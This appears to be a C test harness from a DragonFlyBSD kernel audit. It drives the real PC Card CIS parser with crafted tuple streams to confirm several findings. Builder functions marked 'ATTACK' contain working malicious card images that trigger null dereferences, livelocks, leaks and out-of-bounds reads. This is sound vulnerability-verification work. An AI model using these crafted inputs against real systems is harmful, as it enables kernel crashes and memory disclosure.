⬢ DragonFlyBSD Kernel Audit
DF-2321 / rig_main.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
/*
 * rig_main.c -- driver for the VERBATIM pccard_cis.c verification rig.
 *
 * The production parser is machine-extracted byte-identical from the guest's
 * /usr/src (extract.sh: sed line-ranges, sha256-gated) into:
 *     pccardvar_rig.inc  (structs + read macros, from pccardvar.h)
 *     pccard_cis.h/.     (constant headers, whole-file copies)
 *     pccard_cis_core.inc(pccard_read_cis + pccard_scan_cis +
 *                         pccard_parse_cis_tuple + decode_funce)
 * and is driven here through the REAL entry point pccard_read_cis() with
 * crafted CIS tuple streams against guard/canary buffers.
 *
 * Scenarios (attribute memory image; mult=2 unless a chain is common):
 *   nullderef_a     DF-2319 primary:  CFTABLE_ENTRY before any CONFIG
 *   nullderef_b     DF-2319 secondary: CFTABLE_ENTRY after MFC reset (pf=NULL)
 *   wildlink_long   DF-2320 longlink:  LONGLINK_A -> wild 32-bit target
 *   wildlink_mfc    DF-2320 MFC:       one adjacent (4096) + one wild target
 *   mfcleak         DF-5361: CONFIG+CFTABLE+CFTABLE+MFC+END leaks all cfes
 *   livelock        DF-5362 minimal:   LINKTARGET->LONGLINK_A self-cycle
 *   livelock_alarm  DF-5362 wall-clock corroboration (SIGALRM kill)
 *   leakloop        DF-5362 amplifier: cycle allocates +1 cfe per iteration
 *   checksum        DF-5363: CHECKSUM offset=4,length=4091,mult=2 -> OOB reads
 *   checksum_ok     DF-5363 negative:  sane checksum, no OOB
 *   benign          negative control: valid 2-function MFC card, parses clean
 *
 * Build:  sh extract.sh . && cc -O2 -Wall -o rig rig_main.c
 * Run:    ./rig <scenario> | all
 */
#include "rig_shims.h"
#include "pccardvar_rig.inc"		/* VERBATIM structs + read macros */
#include "pccard_cis.h"			/* VERBATIM tuple codes */
#include "pccardreg.h"			/* VERBATIM device-type codes */
#include "pccard_cis_core.inc"		/* VERBATIM production parser */

#include <sys/wait.h>
#include <time.h>

/* ---------------- CIS image construction ---------------- */
static void
img_reset(void)
{
	size_t i;
	for (i = 0; i < RIG_MAPSIZE; i++) {
		rig_attr_img[i] = 0xFF;		/* unwritten attr mem = END */
		rig_com_img[i]  = 0xFF;
	}
	for (i = RIG_MAPSIZE; i < RIG_TOTBUF; i++) {
		rig_attr_img[i] = 0xA5;		/* adjacent-mapping canary */
		rig_com_img[i]  = 0xA5;
	}
}

/* write tuple at tuple-index *t into image (attribute spacing, bus=mult*t) */
static void
pt(unsigned char *img, int *t, int code, const unsigned char *body, int blen)
{
	int i, t2 = *t;
	if (2 * t2 + 4 + 2 * blen >= (int)RIG_MAPSIZE) {
		printf("RIG scenario-build overflow t=%d\n", t2);
		abort();
	}
	img[2 * t2]     = (unsigned char)code;
	img[2 * t2 + 2] = (unsigned char)blen;
	for (i = 0; i < blen; i++)
		img[2 * t2 + 4 + 2 * i] = body[i];
	*t = t2 + 2 + blen;
}

/* ---------------- scenario builders ---------------- */
static struct pccard_softc rig_sc;

static void
build_nullderef_a(void)
{
	int t = 0;
	static const unsigned char cfe[] = { 0x01, 0x00 };	/* num=1 */

	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 2);
}

static void
build_nullderef_b(void)
{
	int t = 0;
	static const unsigned char conf[]   = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe1[]   = { 0x41, 0x00 };/* def|num=1 */
	static const unsigned char mfc[]    = { 0x01, 0x00, 0x20, 0x00, 0x00, 0x00 };
	static const unsigned char cfe2[]   = { 0x02, 0x00 };/* num=2 */
	static const unsigned char cis[]    = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe1, 2);	/* t=5  */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 6);	/* t=9  */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=17 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=19 -> reset */
	/* MFC chain 1 at 0x20: */
	t = 0x20;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* t=0x20 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe2, 2);	/* t=0x25 pf==NULL */
}

static void
build_wildlink_long(void)
{
	int t = 0;
	static const unsigned char ll[] = { 0x00, 0x00, 0x80, 0x00 }; /* 0x800000 */

	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
}

static void
build_wildlink_mfc(void)
{
	int t = 0;
	static const unsigned char mfc[] = {
		0x02,					/* 2 functions */
		0x00, 0x00, 0x08, 0x00, 0x00,		/* attr,  addr 0x00000800 */
		0x01, 0x00, 0x00, 0x00, 0x04,		/* common,addr 0x04000000 */
	};

	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 11);	/* t=0  */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=13 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=15 -> reset */
}

static void
build_mfcleak(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe1[] = { 0x01, 0x00 };	/* num=1 */
	static const unsigned char cfe2[] = { 0x02, 0x00 };	/* num=2 */
	static const unsigned char mfc[]  = { 0x01, 0x00, 0x20, 0x00, 0x00, 0x00 };
	static const unsigned char cis[]  = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0  pf alloc */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe1, 2);	/* t=5  cfe1 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe2, 2);	/* t=9  cfe2 */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 6);	/* t=13 gotmfc=1 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=19 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=21 -> reset */
	t = 0x20;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* t=0x20 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=0x25 */
}

static void
cycle_linktarget(int at, int target)
{
	int t = at;
	static const unsigned char cis[] = { 'C', 'I', 'S' };
	unsigned char ll[4] = { (unsigned char)target, (unsigned char)(target >> 8),
				0x00, 0x00 };

	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

static void
build_livelock(void)
{
	int t = 0;
	unsigned char ll[] = { 0x10, 0x00, 0x00, 0x00 };

	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0 -> 0x10 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
	cycle_linktarget(0x10, 0x10);				/* self-cycle */
}

static void
build_leakloop(void)
{
	int t = 0;
	unsigned char ll[] = { 0x10, 0x00, 0x00, 0x00 };
	static const unsigned char cis[] = { 'C', 'I', 'S' };
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x02, 0x00 };	/* num=2, def=0 */

	/* NO NO_LINK here: chain0's LONGLINK_A must stay armed so the
	 * link-follow loop keeps jumping back to 0x10 (DF-5362). */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
	/* cycle chain at 0x10 */
	t = 0x10;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x10 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x15 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 2);	/* 0x1A +1 cfe/iter */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* 0x1E re-arm */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x24 */
}

static void
build_checksum(void)
{
	int t = 0;
	static const unsigned char ck[] = {
		0x04, 0x00,		/* offset  = 4     (int16) */
		0xFB, 0x0F,		/* length = 4091 */
		0x00			/* cksum */
	};

	pt(rig_attr_img, &t, CISTPL_CHECKSUM, ck, 5);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=7 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=9 */
}

static void
build_checksum_ok(void)
{
	int t = 0;
	unsigned char ck[5] = { 0, 0, 100, 0, 0 };

	pt(rig_attr_img, &t, CISTPL_CHECKSUM, ck, 5);		/* len=100, in-window */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

static void
build_benign(void)
{
	int t = 0;
	static const unsigned char vers1[] = { 0x05, 0x00, 'D', 'F', 0x00, 0x00 };
	static const unsigned char manfid[] = { 0x01, 0x02, 0x03, 0x04 };
	static const unsigned char fid_serial[] = { 0x02 };
	static const unsigned char fid_net[]    = { 0x06 };
	static const unsigned char conf[] = { 0x00, 0x08, 0x00 };
	static const unsigned char cfed[] = { 0x41, 0x00 };	/* def|num=1 */
	static const unsigned char mfc[] = {
		0x02,
		0x00, 0x30, 0x00, 0x00, 0x00,		/* attr 0x30 */
		0x00, 0x50, 0x00, 0x00, 0x00,		/* attr 0x50 */
	};
	static const unsigned char cis[] = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_VERS_1, vers1, 6);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_MANFID, manfid, 4);		/* t=8  */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_serial, 1);	/* t=14 pf0 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=17 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* t=22 cfe */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 11);	/* t=25 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=36 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=38 reset */

	t = 0x30;						/* function 1 */
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x30 */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_net, 1);	/* 0x35 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x38 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* 0x3D */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x41 */

	t = 0x50;						/* function 2 */
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x50 */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_serial, 1);	/* 0x55 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x58 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* 0x5D */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x61 */
}


/* ---------------- DF-2321: unbounded CFTABLE_ENTRY idx extension loops ----- */
static unsigned long rig_mark_off = 0UL;	/* 0 = don't check */
static long rig_mark_hits = 0;

/* minimal-overwalk helper: plant a non-extension (0x00) byte in attribute
 * memory at image byte offset 2*(tuple_ptr + 2 + idx) so the walk stops
 * exactly after reading image offsets past the declared tuple body */
static void
plant_attr_byte(int tuple_t, int idx, unsigned char val)
{
	rig_attr_img[2 * (tuple_t + 2 + idx)] = val;
}

/* ATTACK 1: power-parameter extension loop (pccard_cis.c:995-1003).
 * CONFIG then CFTABLE_ENTRY{num=1, FS:power=1, param sel bit0, ext 0x80}.
 * Declared length = 4; the do-while keeps consuming extension bytes with
 * bit 7 set -- the byte past the body (0xFF everywhere) also has bit 7 set,
 * so idx walks out of the tuple, out of the 4096-byte CIS window, through
 * the 0xA5 canary zone (bit 7 set as well) and into wild reads. */
static void
build_df2321_power_ext(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x01, 0x01, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 4);	/* t=5, len=4 */
}

/* ATTACK 2: misc extension loop (pccard_cis.c:1243-1246).
 * CONFIG then CFTABLE_ENTRY{num=1, FS:misc only (0x80), misc byte 0x80}.
 * Declared length = 3; the misc guard checks idx(2) < len(3) and lets the
 * first misc byte through (0x80 = EXT), then the while-loop walks out. */
static void
build_df2321_misc_ext(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x80, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 3);	/* t=5, len=3 */
}

/* CONTROL A: same shapes but the byte just past the declared body is a
 * planted 0x00 (a card whose attr mem happens to hold a non-ext byte).
 * The walk STILL reads past the declared body (idx == length is read before
 * any bound check) but terminates -- proves the overwalk itself, separated
 * from the never-terminating tail. */
static void
build_df2321_power_stops(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x01, 0x01, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 4);	/* t=5 */
	plant_attr_byte(5 + 2 + 4, 0, 0x00);			/* idx=4 == len */
	rig_mark_off = 2 * (5 + 2 + 4);				/* image offset */
}

/* A/B scenario: same attack shape but with a clean CISTPL_END chained
 * right after the crafted tuple -- pre-fix the extension walk eats the
 * END and never stops; post-fix the guard aborts at idx == length and
 * the scan finishes at the END. */
static void
build_df2321_power_end(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x01, 0x01, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 4);	/* t=5 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=11 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=13 */
}

static void
build_df2321_misc_end(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x80, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 3);	/* t=5 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

static void
build_df2321_misc_stops(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x01, 0x80, 0x80 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 3);	/* t=5 */
	plant_attr_byte(5 + 2 + 3, 0, 0x00);			/* idx=3 == len */
	rig_mark_off = 2 * (5 + 2 + 3);				/* image offset */
}

/* CONTROL B: well-formed CFTABLE_ENTRY with terminating extension bytes. */
static void
build_df2321_benign_cfe(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x08, 0x00 };
	static const unsigned char cfe[]  = { 0x41, 0x01, 0x01, 0x80, 0x00 };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 5);
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

/* ---------------- crash / cap plumbing ---------------- */
static const char *rig_scen_name = "?";

static void
rig_segv_handler(int sig, siginfo_t *si, void *uc)
{
#if defined(__x86_64__)
	ucontext_t *u = uc;
	unsigned long rip = u->uc_mcontext.mc_rip;
	printf("SCENARIO %s: SIGSEGV si_addr=%p faulting_rip=%#lx\n",
	    rig_scen_name, si->si_addr, rip);
#else
	printf("SCENARIO %s: SIGSEGV si_addr=%p\n", rig_scen_name, si->si_addr);
#endif
	fflush(stdout);
	_exit(91);
}

static void
rig_alarm_handler(int sig)
{
	(void)sig;
	printf("SCENARIO %s: SIGALRM after wall-clock budget; bus_reads=%ld "
	    "(scan_cis still running)\n", rig_scen_name, rig_reads);
	fflush(stdout);
	_exit(99);
}

/* ---------------- ledger reporting ---------------- */
static void
ledger_report(const char *tag)
{
	long a_cfe = 0, a_pf = 0, a_oth = 0, f_cfe = 0, f_pf = 0, f_oth = 0;
	long l_cfe = 0, l_pf = 0, l_oth = 0;
	int i;

	for (i = 0; i < rig_nblocks; i++) {
		int is_cfe = rig_blocks[i].size == rig_sz_cfe;
		int is_pf  = rig_blocks[i].size == rig_sz_pf;
		if (is_cfe) {
			a_cfe++;
			if (rig_blocks[i].live) { l_cfe++; f_cfe--; }
		} else if (is_pf) {
			a_pf++;
			if (rig_blocks[i].live) { l_pf++; f_pf--; }
		} else {
			a_oth++;
			if (rig_blocks[i].live) { l_oth++; f_oth--; }
		}
	}
	f_cfe += a_cfe; f_pf += a_pf; f_oth += a_oth;
	printf("LEDGER %s: sizeof(cfe)=%zu sizeof(pf)=%zu | "
	    "alloc cfe=%ld pf=%ld other=%ld | kfree cfe=%ld pf=%ld other=%ld | "
	    "LIVE cfe=%ld pf=%ld other=%ld\n",
	    tag, rig_sz_cfe, rig_sz_pf, a_cfe, a_pf, a_oth,
	    f_cfe, f_pf, f_oth, l_cfe, l_pf, l_oth);
}

/* correct teardown of whatever the parser left behind (mirrors pccard.c:317-324) */
static void
harness_teardown(void)
{
	struct pccard_function *pf, *pfnext;
	struct pccard_config_entry *cfe;
	long n = 0;

	for (pf = STAILQ_FIRST(&rig_sc.card.pf_head); pf != NULL; pf = pfnext) {
		pfnext = STAILQ_NEXT(pf, pf_list);
		while ((cfe = STAILQ_FIRST(&pf->cfe_head)) != NULL) {
			STAILQ_REMOVE_HEAD(&pf->cfe_head, cfe_list);
			kfree(cfe, M_DEVBUF);
			n++;
		}
		kfree(pf, M_DEVBUF);
	}
	STAILQ_INIT(&rig_sc.card.pf_head);
	printf("TEARDOWN: harness drained %ld cfe + pf chain "
	    "(pccard.c:317-324 semantics)\n", n);
}

/* ---------------- cycle detection over the read-offset ring (DF-5362) ----- */
static void
ring_report(void)
{
	int p, i, found = -1;
	int N = rig_ring_n;

	if (N < 16) {
		printf("RING: only %d reads recorded\n", N);
		return;
	}
	for (p = 1; p <= N / 4; p++) {
		int ok = 1;
		for (i = N - 3 * p; i < N; i++)
			if (rig_ring[i] != rig_ring[i - p]) { ok = 0; break; }
		if (ok) { found = p; break; }
	}
	if (found > 0)
		printf("RING: bus-read offset stream is PERIODIC, period=%d "
		    "reads, >=3 full cycles observed in last %d reads "
		    "(deterministic cycle)\n", found, N);
	else
		printf("RING: no periodicity found in %d reads\n", N);
}

/* DF-2321: prove the read at idx == length (just past the declared tuple
 * body, still inside the window) actually happened. */
static void
ring_check_mark(void)
{
	int i;
	rig_mark_hits = 0;
	if (rig_mark_off == 0UL)
		return;
	for (i = 0; i < rig_ring_n; i++)
		if (rig_ring[i] == rig_mark_off)
			rig_mark_hits++;
}

/* ---------------- per-scenario child ---------------- */
static void
run_scenario(const char *name, void (*build)(void), long cap, int alarm_sec)
{
	pid_t pid;
	int st;

	rig_nblocks = 0;			/* fresh ledger per scenario */
	rig_alloc_fail = 0;
	memset(&rig_sc, 0, sizeof(rig_sc));

	pid = fork();
	if (pid < 0) { perror("fork"); exit(2); }
	if (pid == 0) {
		struct sigaction sa;
		char *e;

		rig_scen_name = name;
		rig_mark_off = 0UL;
		img_reset();
		rig_reset_counters();
		build();

		memset(&sa, 0, sizeof(sa));
		sa.sa_sigaction = rig_segv_handler;
		sa.sa_flags = SA_SIGINFO;
		sigaction(SIGSEGV, &sa, NULL);
		signal(SIGALRM, rig_alarm_handler);

		if (alarm_sec > 0)
			alarm((unsigned)alarm_sec);

		rig_cap = cap;
		rig_jmp_ok = 0;
		if (cap >= 0) {
			if (sigsetjmp(rig_jmp, 1) == 0)
				rig_jmp_ok = 1;
			else
				goto capped;
		}

		if (getenv("RIG_CISDEBUG"))
			pccard_cis_debug = 1;

		printf("SCENARIO %s: entering verbatim pccard_read_cis()\n", name);
		fflush(stdout);
		pccard_read_cis(&rig_sc);	/* *** PRODUCTION ENTRY *** */
		printf("SCENARIO %s: returned normally. card->error=%u "
		    "bus_reads=%ld flag_switches=%ld\n",
		    name, rig_sc.card.error, rig_reads, rig_flag_switches);
		ring_check_mark();
		if (rig_mark_off != 0UL)
			printf("MARK: image offset %lu (idx == tuple->length, "
			    "past declared body) was bus-read %ld time(s)\n",
			    rig_mark_off, rig_mark_hits);
		if (rig_oob)
			printf("OOB: %ld out-of-mapping bus reads "
			    "(mapping=%d B): first=%lu max=%lu wild(>=%d)=%ld\n",
			    rig_oob, RIG_MAPSIZE, rig_oob_first, rig_oob_max,
			    RIG_TOTBUF, rig_oob_wild);
		else
			printf("OOB: 0 out-of-mapping bus reads\n");
		{
			int nf = 0;
			struct pccard_function *pf;
			STAILQ_FOREACH(pf, &rig_sc.card.pf_head, pf_list)
				nf++;
			printf("CARD: functions=%d cis1_major=%d "
			    "manufacturer=0x%x product=0x%x\n", nf,
			    rig_sc.card.cis1_major, rig_sc.card.manufacturer,
			    rig_sc.card.product);
		}
		ledger_report(name);
		harness_teardown();
		printf("SCENARIO %s: exit 0\n", name);
		fflush(stdout);
		_exit(0);

capped:
		/* DF-5362 path: the production scan_cis did NOT terminate
		 * within the read budget the kernel does not have. */
		printf("SCENARIO %s: READ BUDGET EXHAUSTED (cap=%ld) -- "
		    "pccard_scan_cis has NOT returned; kernel has no such cap\n",
		    name, cap);
		ledger_report(name);
		ring_report();
		printf("SCENARIO %s: exit 90 (non-terminating scan)\n", name);
		fflush(stdout);
		_exit(90);
	}

	waitpid(pid, &st, 0);
	if (WIFSIGNALED(st))
		printf("SCENARIO %s: child killed by signal %d\n", name,
		    WTERMSIG(st));
	else
		printf("SCENARIO %s: child_exit=%d\n", name, WEXITSTATUS(st));
	fflush(stdout);
}

struct scen {
	const char *name;
	void (*build)(void);
	long cap;
	int alarm_sec;
};

static struct scen scens[] = {
	{ "nullderef_a",    build_nullderef_a,    -1,      0 },
	{ "nullderef_b",    build_nullderef_b,    -1,      0 },
	{ "wildlink_long",  build_wildlink_long,  -1,      0 },
	{ "wildlink_mfc",   build_wildlink_mfc,   -1,      0 },
	{ "mfcleak",        build_mfcleak,        -1,      0 },
	{ "livelock",       build_livelock,       200000,  0 },
	{ "livelock_alarm", build_livelock,       -1,      2 },
	{ "leakloop",       build_leakloop,       200000,  0 },
	{ "checksum",       build_checksum,       -1,      0 },
	{ "checksum_ok",    build_checksum_ok,    -1,      0 },
	{ "benign",         build_benign,         -1,      0 },
	{ "power_ext",       build_df2321_power_ext,  4000000, 0 },
	{ "power_ext_alarm", build_df2321_power_ext, -1,       3 },
	{ "misc_ext",        build_df2321_misc_ext,   4000000, 0 },
	{ "misc_ext_alarm",  build_df2321_misc_ext,  -1,       3 },
	{ "power_end",       build_df2321_power_end,  4000000, 0 },
	{ "misc_end",        build_df2321_misc_end,   4000000, 0 },
	{ "power_stops",     build_df2321_power_stops, -1,     0 },
	{ "misc_stops",      build_df2321_misc_stops,  -1,     0 },
	{ "benign_cfe",      build_df2321_benign_cfe,  -1,     0 },
	{ NULL, NULL, 0, 0 }
};

int
main(int argc, char **argv)
{
	struct scen *s;
	char *e;

	rig_sz_cfe = sizeof(struct pccard_config_entry);
	rig_sz_pf  = sizeof(struct pccard_function);
	printf("RIG: sizeof(struct pccard_config_entry)=%zu "
	    "sizeof(struct pccard_function)=%zu "
	    "offsetof(pf, cfe_head)=%zu\n",
	    rig_sz_cfe, rig_sz_pf,
	    (size_t)__builtin_offsetof(struct pccard_function, cfe_head));

	if (argc == 2 && strcmp(argv[1], "all") == 0) {
		for (s = scens; s->name != NULL; s++)
			run_scenario(s->name, s->build, s->cap, s->alarm_sec);
		return 0;
	}
	if (argc == 2) {
		long cap_override = -999;
		for (s = scens; s->name != NULL; s++) {
			if (strcmp(s->name, argv[1]) == 0) {
				if ((e = getenv("RIG_CAP")) != NULL)
					cap_override = atol(e);
				run_scenario(s->name, s->build,
				    cap_override == -999 ? s->cap : cap_override,
				    s->alarm_sec);
				return 0;
			}
		}
		fprintf(stderr, "unknown scenario %s\n", argv[1]);
		return 2;
	}
	fprintf(stderr, "usage: %s <scenario|all>  [RIG_CAP=n] [RIG_CISDEBUG=1]\n",
	    argv[0]);
	return 2;
}

/* CARD_SET_RES_FLAGS body -- needs the verbatim PCCARD_A_MEM_* enum */
static int
rig_CARD_SET_RES_FLAGS(device_t parent, device_t dev, int type, int rid,
    int flags)
{
	(void)parent; (void)dev; (void)type; (void)rid;
	rig_flag_switches++;
	if (flags == PCCARD_A_MEM_COM && rig_space == 0) {
		rig_space = 1;
		rig_res.handle = rig_com_img;
	} else if (flags == PCCARD_A_MEM_ATTR && rig_space == 1) {
		rig_space = 0;
		rig_res.handle = rig_attr_img;
	}
	return 0;
}